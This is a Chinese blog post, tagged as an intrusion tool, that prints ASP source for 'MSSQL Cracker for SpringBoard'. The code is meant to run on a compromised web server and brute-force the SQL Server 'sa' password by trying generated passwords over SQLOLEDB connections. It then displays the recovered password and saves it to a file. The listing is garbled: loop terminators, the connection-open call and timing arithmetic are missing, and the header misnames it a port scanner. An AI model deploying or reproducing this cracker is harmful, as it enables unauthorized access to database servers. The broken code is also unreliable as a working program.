MSSQLCracker in ASP[asp提权]


'============ ASP Port Scanner by lake2 ===================
'Version: 0.1
'For SpringBoard
<style type="text/css">
body,td,th {color: #0000FF;font-family: Verdana, Arial, Helvetica, sans-serif;}
body {background-color: #ffffff;font-size:14px; }
a:link {color: #0000FF;text-decoration: none;}
a:visited {text-decoration: none;color: #0000FF;}
a:hover {text-decoration: none;color: #FF0000;}
a:active {text-decoration: none;color: #FF0000;}
.buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
.TextBox {border: 1px solid #084B8E}
.styleRed {color: #FF0000}
<title>MSSQL Cracker for SpringBoard</title>
Dim Password()
If Request.Form("go") <> "1" Then
 <div align="center">Welcome to <a href="" target="_blank"></a> </div>
 <form name="form1" method="post" action="" onSubmit="form1.Submit.disabled=true;">
  <input name="conn" type="text" class="TextBox" id="conn" value="Provider=SQLOLEDB.1;Data Source=;User ID=sa;Password={PASS};" size="70">
  Char: &nbsp;&nbsp;&nbsp;&nbsp;
  <input name="char" type="text" class="TextBox" id="char" value="0123456789" size="30">
<input name="len" type="text" class="TextBox" id="len" value="3" size="4">
<input name="path" type="text" class="TextBox" value="<%=Server.MapPath("r.txt")%>" size="50">
<input name="CFile" type="checkbox" class="TextBox" id="CFile" value="1" checked>
<input name="go" type="hidden" id="go" value="1">
<input name="Submit" type="submit" class="buttom" id="Submit" value=" Run ">
 timer1 = timer
 Server.ScriptTimeout = 7776000
 ConnStr = Request.Form("Conn")
 Char = request.Form("char")
 LenChar = Len(Char)
 ReDim password(LenChar)
 For i = 1 to LenChar
  password(i) = Mid(Char, i, 1)
 length = CInt(request.Form("len"))
 Call LAKE("")
 response.Write "Done!<br>Process " & tTime & " s"
 If request.Form("CFile") <> "" Then CreateResult("Done!" & vbcrlf & tTime)
End If

Sub LAKE(str)
 If Len(str) >= length Then Exit Sub
 For j = 1 to LenChar
  pass = str & password(j)
  If Len(pass) = length Then Call Crack(pass)
  Call LAKE(pass)
End Sub

Sub Crack(str)
 On Error Resume Next
 Set conn = Server.CreateObject("ADODB.connection") Replace(ConnStr,"{PASS}",str)
 If Err Then
  If Err.Number <> -2147217843 Then
   response.Write(Err.Description & "<BR>")
  End If
  response.Write("I Get it ! Password is <font color=red>" & str & "</font><BR>Process " & tTime & " s")
  If request.Form("CFile") <> "" Then CreateResult(str & vbcrlf & tTime)
 End If
End Sub

Function tTime()
 timer2 = timer
 tTime = thetime
End Function

Sub CreateResult(t)
 Set fs = CreateObject("Scripting.FileSystemObject")
 Set outfile = fs.CreateTextFile(request.Form("path"))
 outfile.WriteLine t
 Set fs = Nothing
End Sub

关键词: 工具 , 代码收藏 , 入侵

上一篇: 发俩图片
下一篇: 跨站脚本执行漏洞详解


评论内容 (必填):